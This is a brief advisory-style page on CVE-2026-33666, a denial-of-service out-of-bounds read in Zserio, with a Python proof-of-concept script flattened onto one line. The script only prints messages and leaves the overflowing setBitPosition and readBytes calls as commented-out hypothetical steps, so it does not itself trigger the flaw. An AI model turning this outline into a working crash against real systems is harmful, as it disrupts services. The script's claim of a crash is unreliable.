CVE-2026-33666 Zserio越界读取致拒绝服务漏洞

import sys # PoC for CVE-2026-33666 (Zserio Out-of-Bounds Read) # This script demonstrates the logic to trigger the vulnerability. # It requires a vulnerable version of the Zserio library (< 2.18.1). def create_exploit_buffer(): # Create a minimal buffer that represents the malicious stream. # In a real exploit, specific bit patterns would trigger the overflow in setBitPosition. # The vulnerability allows reading 512MB from this tiny buffer. return b'\x00' * 10 def trigger_vulnerability(): print("[*] Triggering CVE-2026-33666 in Zserio...") try: # Simulate the vulnerable behavior in BitStreamReader.h # The readBytes() function would be called with a large length # due to the overflowed bit position. buffer = create_exploit_buffer() # Hypothetical vulnerable code flow: # reader = BitStreamReader(buffer) # reader.setBitPosition(overflowed_value) # Check bypassed # reader.readBytes(512 * 1024 * 1024) # Crash here print("[!] If the target is vulnerable, a Segmentation Fault occurs here.") print("[!] Result: Application Crash (DoS).") except Exception as e: print(f"[!] Exception caught: {e}") if __name__ == "__main__": trigger_vulnerability()